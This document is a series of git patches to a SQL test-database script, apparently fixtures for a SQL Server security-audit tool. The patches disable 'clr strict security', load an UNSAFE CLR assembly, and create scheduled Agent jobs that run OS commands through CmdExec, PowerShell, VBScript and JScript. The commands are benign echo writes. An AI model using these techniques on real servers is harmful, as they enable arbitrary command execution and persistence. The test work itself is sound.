00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +WITH PERMISSION_SET = UNSAFE +GO + +-- Map assembly method beefencrypt to procedure +CREATE PROCEDURE [dbo].[beefencrypt] @MyString NVARCHAR (4000) AS EXTERNAL NAME [commonlib].[commonlib].[beefencrypt]; +GO + +-- Map assembly method beefdencrypt to procedure +CREATE PROCEDURE [dbo].[beefdencrypt] @MyString NVARCHAR (4000) AS EXTERNAL NAME [commonlib].[commonlib].[beefencrypt]; +GO + +-- Run procedure +beefencrypt "hello there" +GO + +-- Run procedure +beefdencrypt "EAAAAJVbaCaMSI3k1N99P31tP//K4WzvBUEaNW94Ed9yWyhB" +GO From 2bfbdcddf7e1df715b3c9c6e0cdb7894079148dc Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 9 May 2024 08:23:55 -0500 Subject: [PATCH 04/60] Update pesterdb.sql --- tests/pesterdb.sql | 24 +++++++++++++++++++++--- 1 file changed, 21 insertions(+), 3 deletions(-) diff --git a/tests/pesterdb.sql b/tests/pesterdb.sql index 3163d4c..15dfada 100644 --- a/tests/pesterdb.sql +++ b/tests/pesterdb.sql @@ -731,9 +731,26 @@ GO -- Disable clr strict security -- SQL Server 2017 introduced the ‘clr strict security’ configuration. Microsoft documentation states that the setting needs to be disabled to allow the creation of UNSAFE or EXTERNAL assemblies. -sp_configure 'clr strict security',0 -RECONFIGURE -GO +DECLARE @MajorVersion INT; + +-- Get the major version number of SQL Server +SELECT @MajorVersion = LEFT(CAST(SERVERPROPERTY('ProductVersion') AS VARCHAR), CHARINDEX('.', CAST(SERVERPROPERTY('ProductVersion') AS VARCHAR)) - 1); + +-- Check if the SQL Server version is 2017 or later +IF @MajorVersion >= 14 -- SQL Server 2017 is version 14.x +BEGIN + -- Disable 'clr strict security' configuration + EXEC sp_configure 'clr strict security', 0; + RECONFIGURE; + GO + PRINT 'CLR strict security configuration has been disabled.'; + GO +END +ELSE +BEGIN + PRINT 'CLR strict security configuration cannot be modified. The SQL Server version is not 2017 or later.'; + GO +END; -- Create assembly CREATE ASSEMBLY [CommonLib] @@ -756,3 +773,4 @@ GO -- Run procedure beefdencrypt "EAAAAJVbaCaMSI3k1N99P31tP//K4WzvBUEaNW94Ed9yWyhB" GO + From 9e2f94330618f5265b89edd7a55e5a724f08afdd Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 9 May 2024 08:27:29 -0500 Subject: [PATCH 05/60] Update pesterdb.sql --- tests/pesterdb.sql | 282 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 282 insertions(+) diff --git a/tests/pesterdb.sql b/tests/pesterdb.sql index 15dfada..9774d36 100644 --- a/tests/pesterdb.sql +++ b/tests/pesterdb.sql @@ -774,3 +774,285 @@ GO beefdencrypt "EAAAAJVbaCaMSI3k1N99P31tP//K4WzvBUEaNW94Ed9yWyhB" GO +---------------------------------------------------------------------- +-- Create agent jobs that execute OS commands - CMDEXEC +---------------------------------------------------------------------- + +USE [msdb] +GO + +/****** Object: Job [OS COMMAND EXECUTION EXAMPLE - CMDEXEC] Script Date: 8/29/2017 11:23:50 AM ******/ +BEGIN TRANSACTION +DECLARE @ReturnCode INT +SELECT @ReturnCode = 0 +/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 8/29/2017 11:23:50 AM ******/ +IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) +BEGIN +EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + +END + +DECLARE @jobId BINARY(16) +DECLARE @user varchar(8000) +SET @user = SYSTEM_USER +EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC', + @enabled=1, + @notify_level_eventlog=0, + @notify_level_email=0, + @notify_level_netsend=0, + @notify_level_page=0, + @delete_level=1, + @description=N'No description available.', + @category_name=N'[Uncategorized (Local)]', + @owner_login_name=@user, @job_id = @jobId OUTPUT +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +/****** Object: Step [RUN COMMAND - CMDEXEC] Script Date: 8/29/2017 11:23:50 AM ******/ +EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - CMDEXEC', + @step_id=1, + @cmdexec_success_code=0, + @on_success_action=1, + @on_success_step_id=0, + @on_fail_action=2, + @on_fail_step_id=0, + @retry_attempts=0, + @retry_interval=0, + @os_run_priority=0, @subsystem=N'CmdExec', + @command=N'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\blah.txt', + @flags=0 + --,@proxy_name=N'WinUser1' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +COMMIT TRANSACTION +GOTO EndSave +QuitWithRollback: + IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION +EndSave: + +GO + +use msdb +EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC' ; + +---------------------------------------------------------------------- +-- Create agent jobs that execute OS commands - PowerShell +---------------------------------------------------------------------- + +USE [msdb] +GO + +/****** Object: Job [OS COMMAND EXECUTION EXAMPLE - POWERSHELL] Script Date: 8/29/2017 11:28:39 AM ******/ +BEGIN TRANSACTION +DECLARE @ReturnCode INT +SELECT @ReturnCode = 0 +/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 8/29/2017 11:28:39 AM ******/ +IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) +BEGIN +EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + +END + +DECLARE @jobId BINARY(16) +DECLARE @user varchar(8000) +SET @user = SYSTEM_USER +EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL', + @enabled=1, + @notify_level_eventlog=0, + @notify_level_email=0, + @notify_level_netsend=0, + @notify_level_page=0, + @delete_level=1, + @description=N'No description available.', + @category_name=N'[Uncategorized (Local)]', + @owner_login_name=@user, @job_id = @jobId OUTPUT +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +/****** Object: Step [RUN COMMAND - POWERHSHELL] Script Date: 8/29/2017 11:28:39 AM ******/ +EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - POWERHSHELL', + @step_id=1, + @cmdexec_success_code=0, + @on_success_action=1, + @on_success_step_id=0, + @on_fail_action=2, + @on_fail_step_id=0, + @retry_attempts=0, + @retry_interval=0, + @os_run_priority=0, @subsystem=N'PowerShell', + @command=N'write-output "hello world" | out-file c:\windows\temp\blah.txt', + @database_name=N'master', + @flags=0 + --,@proxy_name=N'WinUser1' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +COMMIT TRANSACTION +GOTO EndSave +QuitWithRollback: + IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION +EndSave: + +GO + +use msdb +EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL' ; + +---------------------------------------------------------------------- +-- Create agent jobs that execute OS commands - ActiveX VBScript +---------------------------------------------------------------------- + +USE [msdb] +GO + +/****** Object: Job [OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT] Script Date: 8/29/2017 10:27:36 AM ******/ +BEGIN TRANSACTION +DECLARE @ReturnCode INT +SELECT @ReturnCode = 0 +/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 8/29/2017 10:27:36 AM ******/ +IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) +BEGIN +EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + +END + +DECLARE @jobId BINARY(16) +DECLARE @user varchar(8000) +SET @user = SYSTEM_USER +EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT', + @enabled=1, + @notify_level_eventlog=0, + @notify_level_email=0, + @notify_level_netsend=0, + @notify_level_page=0, + @delete_level=1, + @description=N'No description available.', + @category_name=N'[Uncategorized (Local)]', + @owner_login_name=@user, @job_id = @jobId OUTPUT +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +/****** Object: Step [RUN COMMAND - ActiveX: VBSCRIPT] Script Date: 8/29/2017 10:27:36 AM ******/ +EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - ActiveX: VBSCRIPT', + @step_id=1, + @cmdexec_success_code=0, + @on_success_action=1, + @on_success_step_id=0, + @on_fail_action=2, + @on_fail_step_id=0, + @retry_attempts=0, + @retry_interval=0, + @os_run_priority=0, @subsystem=N'ActiveScripting', + @command=N'FUNCTION Main() + +dim shell +set shell= CreateObject ("WScript.Shell") +shell.run("c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\blah.txt") +set shell = nothing + +END FUNCTION', + @database_name=N'VBScript', + @flags=0 + --,@proxy_name=N'WinUser1' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +COMMIT TRANSACTION +GOTO EndSave +QuitWithRollback: + IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION +EndSave: + +GO + +use msdb +EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT' ; + +---------------------------------------------------------------------- +-- Create agent jobs that execute OS commands - ActiveX JScript +---------------------------------------------------------------------- + +USE [msdb] +GO + +/****** Object: Job [OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT] Script Date: 8/29/2017 11:17:16 AM ******/ +BEGIN TRANSACTION +DECLARE @ReturnCode INT +SELECT @ReturnCode = 0 +/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 8/29/2017 11:17:16 AM ******/ +IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) +BEGIN +EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + +END + +DECLARE @jobId BINARY(16) +DECLARE @user varchar(8000) +SET @user = SYSTEM_USER +EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT', + @enabled=1, + @notify_level_eventlog=0, + @notify_level_email=0, + @notify_level_netsend=0, + @notify_level_page=0, + @delete_level=1, + @description=N'No description available.', + @category_name=N'[Uncategorized (Local)]', + @owner_login_name=@user, @job_id = @jobId OUTPUT +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +/****** Object: Step [RUN COMMAND - ActiveX: JSCRIPT] Script Date: 8/29/2017 11:17:16 AM ******/ +EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - ActiveX: JSCRIPT', + @step_id=1, + @cmdexec_success_code=0, + @on_success_action=1, + @on_success_step_id=0, + @on_fail_action=2, + @on_fail_step_id=0, + @retry_attempts=0, + @retry_interval=0, + @os_run_priority=0, @subsystem=N'ActiveScripting', + @command=N'function RunCmd() +{ + var objShell = new ActiveXObject("shell.application"); + objShell.ShellExecute("cmd.exe", "/c echo hello > c:\\windows\\temp\\blah.txt", "", "open", 0); + } + +RunCmd(); +', +/** alternative option + @command=N'function RunCmd() + { + var WshShell = new ActiveXObject("WScript.Shell"); + var oExec = WshShell.Exec("c:\\windows\\system32\\cmd.exe /c echo hello > c:\\windows\\temp\\blah.txt"); + oExec = null; + WshShell = null; + } + + RunCmd(); + ', + +**/ + @database_name=N'JavaScript', + @flags=0 + --,@proxy_name=N'WinUser1' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +COMMIT TRANSACTION +GOTO EndSave +QuitWithRollback: + IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION +EndSave: + +GO + + +use msdb +EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT' ; From b2d9a881286fff4cba3ba2287335decd69015809 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 9 May 2024 08:31:41 -0500 Subject: [PATCH 06/60] Update pesterdb.sql Add global temp tables. --- tests/pesterdb.sql | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/tests/pesterdb.sql b/tests/pesterdb.sql index 9774d36..eee4188 100644 --- a/tests/pesterdb.sql +++ b/tests/pesterdb.sql @@ -1056,3 +1056,17 @@ GO use msdb EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT' ; + +---------------------------------------------------------------------- +-- Create Global Temp Tables +---------------------------------------------------------------------- + +-- Create table variable +If not Exists (SELECT name FROM tempdb.sys.objects WHERE name = 'table_variable') +DECLARE @table_variable TABLE (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); + +-- Insert records into table variable +INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson') +INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise') +INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie') +INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery') From 2c15ed1d45904442628c7cf13782c9e00fe93ac6 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 9 May 2024 08:33:34 -0500 Subject: [PATCH 07/60] Update pesterdb.sql Update temp tables. --- tests/pesterdb.sql | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/tests/pesterdb.sql b/tests/pesterdb.sql index eee4188..be4a7d1 100644 --- a/tests/pesterdb.sql +++ b/tests/pesterdb.sql @@ -1061,12 +1061,14 @@ EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT' ; -- Create Global Temp Tables ---------------------------------------------------------------------- --- Create table variable -If not Exists (SELECT name FROM tempdb.sys.objects WHERE name = 'table_variable') -DECLARE @table_variable TABLE (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); - --- Insert records into table variable -INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson') -INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise') -INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie') -INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery') +-- Create global temporary table +IF (OBJECT_ID('tempdb..##GlobalTempTbl') IS NULL) +CREATE TABLE ##GlobalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); +GO + +-- Insert records global temporary table +INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson') +INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise') +INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie') +INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery') +GO From 1ad98315cea57f777e542ee47ba20c5ccab57bcd Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 9 May 2024 09:12:42 -0500 Subject: [PATCH 08/60] Update pesterdb.sql Update agent jobs. --- tests/pesterdb.sql | 227 ++++++++++++++++++++++++++++++++++++--------- 1 file changed, 185 insertions(+), 42 deletions(-) diff --git a/tests/pesterdb.sql b/tests/pesterdb.sql index be4a7d1..4607e05 100644 --- a/tests/pesterdb.sql +++ b/tests/pesterdb.sql @@ -781,11 +781,11 @@ GO USE [msdb] GO -/****** Object: Job [OS COMMAND EXECUTION EXAMPLE - CMDEXEC] Script Date: 8/29/2017 11:23:50 AM ******/ +/****** Object: Job [OS COMMAND EXECUTION EXAMPLE - CMDEXEC] Script Date: 5/9/2024 9:12:13 AM ******/ BEGIN TRANSACTION DECLARE @ReturnCode INT SELECT @ReturnCode = 0 -/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 8/29/2017 11:23:50 AM ******/ +/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 5/9/2024 9:12:13 AM ******/ IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) BEGIN EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' @@ -794,21 +794,19 @@ IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback END DECLARE @jobId BINARY(16) -DECLARE @user varchar(8000) -SET @user = SYSTEM_USER EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC', @enabled=1, @notify_level_eventlog=0, @notify_level_email=0, @notify_level_netsend=0, @notify_level_page=0, - @delete_level=1, + @delete_level=0, @description=N'No description available.', @category_name=N'[Uncategorized (Local)]', - @owner_login_name=@user, @job_id = @jobId OUTPUT + @owner_login_name=N'MSSQLSRV04\Administrator', @job_id = @jobId OUTPUT IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback -/****** Object: Step [RUN COMMAND - CMDEXEC] Script Date: 8/29/2017 11:23:50 AM ******/ -EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - CMDEXEC', +/****** Object: Step [Run CMD] Script Date: 5/9/2024 9:12:13 AM ******/ +EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'Run CMD', @step_id=1, @cmdexec_success_code=0, @on_success_action=1, @@ -818,12 +816,25 @@ EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMM @retry_attempts=0, @retry_interval=0, @os_run_priority=0, @subsystem=N'CmdExec', - @command=N'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\blah.txt', + @command=N'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\artifact-cmd.txt', @flags=0 - --,@proxy_name=N'WinUser1' IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'CmdDaily', + @enabled=1, + @freq_type=4, + @freq_interval=1, + @freq_subday_type=1, + @freq_subday_interval=0, + @freq_relative_interval=0, + @freq_recurrence_factor=0, + @active_start_date=20240509, + @active_end_date=99991231, + @active_start_time=0, + @active_end_time=235959, + @schedule_uid=N'11e6216d-c317-4cfd-81c9-053ad9b22dbc' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback COMMIT TRANSACTION @@ -834,9 +845,6 @@ EndSave: GO -use msdb -EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC' ; - ---------------------------------------------------------------------- -- Create agent jobs that execute OS commands - PowerShell ---------------------------------------------------------------------- @@ -844,11 +852,11 @@ EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC' ; USE [msdb] GO -/****** Object: Job [OS COMMAND EXECUTION EXAMPLE - POWERSHELL] Script Date: 8/29/2017 11:28:39 AM ******/ +/****** Object: Job [OS COMMAND EXECUTION EXAMPLE - POWERSHELL] Script Date: 5/9/2024 9:09:22 AM ******/ BEGIN TRANSACTION DECLARE @ReturnCode INT SELECT @ReturnCode = 0 -/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 8/29/2017 11:28:39 AM ******/ +/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 5/9/2024 9:09:22 AM ******/ IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) BEGIN EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' @@ -857,21 +865,19 @@ IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback END DECLARE @jobId BINARY(16) -DECLARE @user varchar(8000) -SET @user = SYSTEM_USER EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL', @enabled=1, @notify_level_eventlog=0, @notify_level_email=0, @notify_level_netsend=0, @notify_level_page=0, - @delete_level=1, + @delete_level=0, @description=N'No description available.', @category_name=N'[Uncategorized (Local)]', - @owner_login_name=@user, @job_id = @jobId OUTPUT + @owner_login_name=N'MSSQLSRV04\Administrator', @job_id = @jobId OUTPUT IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback -/****** Object: Step [RUN COMMAND - POWERHSHELL] Script Date: 8/29/2017 11:28:39 AM ******/ -EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - POWERHSHELL', +/****** Object: Step [Run PowerShell] Script Date: 5/9/2024 9:09:22 AM ******/ +EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'Run PowerShell', @step_id=1, @cmdexec_success_code=0, @on_success_action=1, @@ -881,13 +887,26 @@ EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMM @retry_attempts=0, @retry_interval=0, @os_run_priority=0, @subsystem=N'PowerShell', - @command=N'write-output "hello world" | out-file c:\windows\temp\blah.txt', + @command=N'hello world" | out-file c:\windows\temp\artifact-powershell.txt', @database_name=N'master', @flags=0 - --,@proxy_name=N'WinUser1' IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'PowershellDaily', + @enabled=1, + @freq_type=4, + @freq_interval=1, + @freq_subday_type=1, + @freq_subday_interval=0, + @freq_relative_interval=0, + @freq_recurrence_factor=0, + @active_start_date=20240509, + @active_end_date=99991231, + @active_start_time=0, + @active_end_time=235959, + @schedule_uid=N'5040c673-1700-4296-a892-71e7140e1054' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback COMMIT TRANSACTION @@ -898,9 +917,6 @@ EndSave: GO -use msdb -EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL' ; - ---------------------------------------------------------------------- -- Create agent jobs that execute OS commands - ActiveX VBScript ---------------------------------------------------------------------- @@ -908,11 +924,11 @@ EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL' ; USE [msdb] GO -/****** Object: Job [OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT] Script Date: 8/29/2017 10:27:36 AM ******/ +/****** Object: Job [OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT1] Script Date: 5/9/2024 9:06:00 AM ******/ BEGIN TRANSACTION DECLARE @ReturnCode INT SELECT @ReturnCode = 0 -/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 8/29/2017 10:27:36 AM ******/ +/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 5/9/2024 9:06:00 AM ******/ IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) BEGIN EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' @@ -921,21 +937,19 @@ IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback END DECLARE @jobId BINARY(16) -DECLARE @user varchar(8000) -SET @user = SYSTEM_USER -EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT', +EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT1', @enabled=1, @notify_level_eventlog=0, @notify_level_email=0, @notify_level_netsend=0, @notify_level_page=0, - @delete_level=1, + @delete_level=0, @description=N'No description available.', @category_name=N'[Uncategorized (Local)]', - @owner_login_name=@user, @job_id = @jobId OUTPUT + @owner_login_name=N'MSSQLSRV04\Administrator', @job_id = @jobId OUTPUT IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback -/****** Object: Step [RUN COMMAND - ActiveX: VBSCRIPT] Script Date: 8/29/2017 10:27:36 AM ******/ -EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - ActiveX: VBSCRIPT', +/****** Object: Step [RUN ActiveX: VBSCRIPT] Script Date: 5/9/2024 9:06:00 AM ******/ +EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN ActiveX: VBSCRIPT', @step_id=1, @cmdexec_success_code=0, @on_success_action=1, @@ -949,16 +963,29 @@ EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMM dim shell set shell= CreateObject ("WScript.Shell") -shell.run("c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\blah.txt") +shell.run("c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\artifact-vbscript.txt") set shell = nothing END FUNCTION', @database_name=N'VBScript', @flags=0 - --,@proxy_name=N'WinUser1' IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'VBDaily', + @enabled=1, + @freq_type=4, + @freq_interval=1, + @freq_subday_type=1, + @freq_subday_interval=0, + @freq_relative_interval=0, + @freq_recurrence_factor=0, + @active_start_date=20240509, + @active_end_date=99991231, + @active_start_time=0, + @active_end_time=235959, + @schedule_uid=N'1572a7dc-cafb-4a4b-b92e-ed4715f154b0' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback COMMIT TRANSACTION @@ -968,10 +995,7 @@ QuitWithRollback: EndSave: GO - -use msdb -EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT' ; - + ---------------------------------------------------------------------- -- Create agent jobs that execute OS commands - ActiveX JScript 